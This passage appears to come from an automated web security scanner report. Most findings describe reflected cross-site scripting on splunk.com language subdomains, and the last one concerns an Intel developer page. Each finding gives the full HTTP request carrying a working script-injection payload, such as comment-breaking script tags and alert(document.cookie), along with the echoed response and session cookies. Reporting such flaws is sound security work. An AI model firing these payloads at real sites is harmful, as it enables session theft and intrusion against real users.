Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296947359; Apache=173.193.214.243.1296947376244858; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:11:50 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:41:50 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:41:50 GMT; path=/
ETag: fba0a81a6abd8968f0ce69137cb7a3ef1296947511-gzip
Last-Modified: Sat, 05 Feb 2011 23:11:51 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14977

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>b7071ccc3b1/v5.php?v=09-28-10 -->
...[SNIP]...

4.648. http://zh-hans.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hans.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload ee6a6--><script>alert(1)</script>abc43d08165 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_com/css/v5.phpee6a6--><script>alert(1)</script>abc43d08165?v=09-28-10 HTTP/1.1
Host: zh-hans.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hans.splunk.com/?a66ee--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E025dd4411ca=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296947359; Apache=173.193.214.243.1296947376244858; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:12:11 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:42:11 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:42:11 GMT; path=/
ETag: 96e9062b2439705feeb353c5f2ec410d1296947531-gzip
Last-Modified: Sat, 05 Feb 2011 23:12:11 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14977

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>abc43d08165?v=09-28-10 -->
...[SNIP]...

4.649. http://zh-hant.splunk.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hant.splunk.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload fa491--><script>alert(1)</script>4e7b580ded4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /?fa491--><script>alert(1)</script>4e7b580ded4=1 HTTP/1.1
Host: zh-hant.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:24:31 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
Set-Cookie: Apache=173.193.214.243.1296944671690144; path=/; expires=Sun, 01-Feb-26 22:24:31 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: XARAYASID=06p85pagtmdu416367f707ion3; expires=Wed, 06 Feb 2036 04:24:31 GMT; path=/; domain=.splunk.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21787

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/d
...[SNIP]...
<script>alert(1)</script>4e7b580ded4=1 -->
...[SNIP]...

4.650. http://zh-hant.splunk.com/cave/narc.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hant.splunk.com
Path:	/cave/narc.php

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 882df--><script>alert(1)</script>c4b14aa1456 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /cave882df--><script>alert(1)</script>c4b14aa1456/narc.php?u=/?fa491--alert(document.cookie)4e7b580ded4=1&r=-&a=&cid= HTTP/1.1
Host: zh-hant.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hant.splunk.com/?fa491--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E4e7b580ded4=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; __utmc=204527314; Apache=173.193.214.243.1296947324287623; XARAYASID=7b7qm2s9igda8um4f34hekdr61; Enabled=true

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:09:47 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:39:47 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:39:47 GMT; path=/
ETag: 7ad04428c96baa9ba2a7f24b373105641296947387-gzip
Last-Modified: Sat, 05 Feb 2011 23:09:47 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14900

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>c4b14aa1456/narc.php?u=/?fa491--alert(document.cookie)4e7b580ded4=1&r=-&a=&cid= -->
...[SNIP]...

4.651. http://zh-hant.splunk.com/cave/narc.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hant.splunk.com
Path:	/cave/narc.php

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload f592a--><script>alert(1)</script>443b4bd4ac9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /cave/narc.phpf592a--><script>alert(1)</script>443b4bd4ac9?u=/?fa491--alert(document.cookie)4e7b580ded4=1&r=-&a=&cid= HTTP/1.1
Host: zh-hant.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hant.splunk.com/?fa491--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E4e7b580ded4=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; __utmc=204527314; Apache=173.193.214.243.1296947324287623; XARAYASID=7b7qm2s9igda8um4f34hekdr61; Enabled=true

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:10:07 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:40:07 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:40:07 GMT; path=/
ETag: 449c13cc7342e3f3ab8fb26cf15714491296947408-gzip
Last-Modified: Sat, 05 Feb 2011 23:10:08 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14900

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>443b4bd4ac9?u=/?fa491--alert(document.cookie)4e7b580ded4=1&r=-&a=&cid= -->
...[SNIP]...

4.652. http://zh-hant.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hant.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload c22a7--><script>alert(1)</script>3c3d1be04b5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themesc22a7--><script>alert(1)</script>3c3d1be04b5/splunk_com/css/v5.php?v=09-28-10 HTTP/1.1
Host: zh-hant.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hant.splunk.com/?fa491--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E4e7b580ded4=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; __utmc=204527314; Apache=173.193.214.243.1296947324287623; XARAYASID=7b7qm2s9igda8um4f34hekdr61

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:10:11 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:40:11 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:40:11 GMT; path=/
ETag: 724fa74493f00afa3d0d3bb751f79c3f1296947411-gzip
Last-Modified: Sat, 05 Feb 2011 23:10:11 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14810

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>3c3d1be04b5/splunk_com/css/v5.php?v=09-28-10 -->
...[SNIP]...

4.653. http://zh-hant.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hant.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 2c14d--><script>alert(1)</script>ea57f7f43db was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_com2c14d--><script>alert(1)</script>ea57f7f43db/css/v5.php?v=09-28-10 HTTP/1.1
Host: zh-hant.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hant.splunk.com/?fa491--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E4e7b580ded4=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; __utmc=204527314; Apache=173.193.214.243.1296947324287623; XARAYASID=7b7qm2s9igda8um4f34hekdr61

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:10:31 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:40:31 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:40:31 GMT; path=/
ETag: 6a2789658321a701d3ec8b5fd1af90a51296947431-gzip
Last-Modified: Sat, 05 Feb 2011 23:10:31 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14810

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>ea57f7f43db/css/v5.php?v=09-28-10 -->
...[SNIP]...

4.654. http://zh-hant.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hant.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload c1940--><script>alert(1)</script>76ff7075169 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_com/cssc1940--><script>alert(1)</script>76ff7075169/v5.php?v=09-28-10 HTTP/1.1
Host: zh-hant.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hant.splunk.com/?fa491--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E4e7b580ded4=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; __utmc=204527314; Apache=173.193.214.243.1296947324287623; XARAYASID=7b7qm2s9igda8um4f34hekdr61

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:10:49 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:40:49 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:40:49 GMT; path=/
ETag: 53b501391ea0d48aa110b633090be9901296947449-gzip
Last-Modified: Sat, 05 Feb 2011 23:10:49 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14810

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>76ff7075169/v5.php?v=09-28-10 -->
...[SNIP]...

4.655. http://zh-hant.splunk.com/themes/splunk_com/css/v5.php [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://zh-hant.splunk.com
Path:	/themes/splunk_com/css/v5.php

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload 9e8a1--><script>alert(1)</script>9235d6443a5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /themes/splunk_com/css/v5.php9e8a1--><script>alert(1)</script>9235d6443a5?v=09-28-10 HTTP/1.1
Host: zh-hant.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hant.splunk.com/?fa491--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E4e7b580ded4=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; __utmc=204527314; Apache=173.193.214.243.1296947324287623; XARAYASID=7b7qm2s9igda8um4f34hekdr61

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:11:10 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:41:10 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:41:10 GMT; path=/
ETag: e21f86eacec39c66e070d997605c98921296947470-gzip
Last-Modified: Sat, 05 Feb 2011 23:11:10 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 14810

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>9235d6443a5?v=09-28-10 -->
...[SNIP]...

4.656. http://appdeveloper.intel.com/en-us/challenge [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://appdeveloper.intel.com
Path:	/en-us/challenge

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 95846"-alert(1)-"09f37818470 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /en-us/challenge HTTP/1.1
Host: appdeveloper.intel.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_lv=1296945247431; s_cc=true; has_js=1; SESS5a5e2306769d28180c45e44dbead8572=5e9e534eeb2970f37ac9ef725e396b00; _chartbeat2=7eetxrpbruuu11xx; wa_visitId=%7Bbec98047-4063-22c9-9ea2-60a3f75f6fc2%7D; s_vi=[CS]v1|26A6E824051490CF-6000014E40302B1B[CE]; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; cf=1;
Referer: http://www.google.com/search?hl=en&q=95846"-alert(1)-"09f37818470

Response (redirected)

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 22:48:20 GMT
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:48:20 GMT
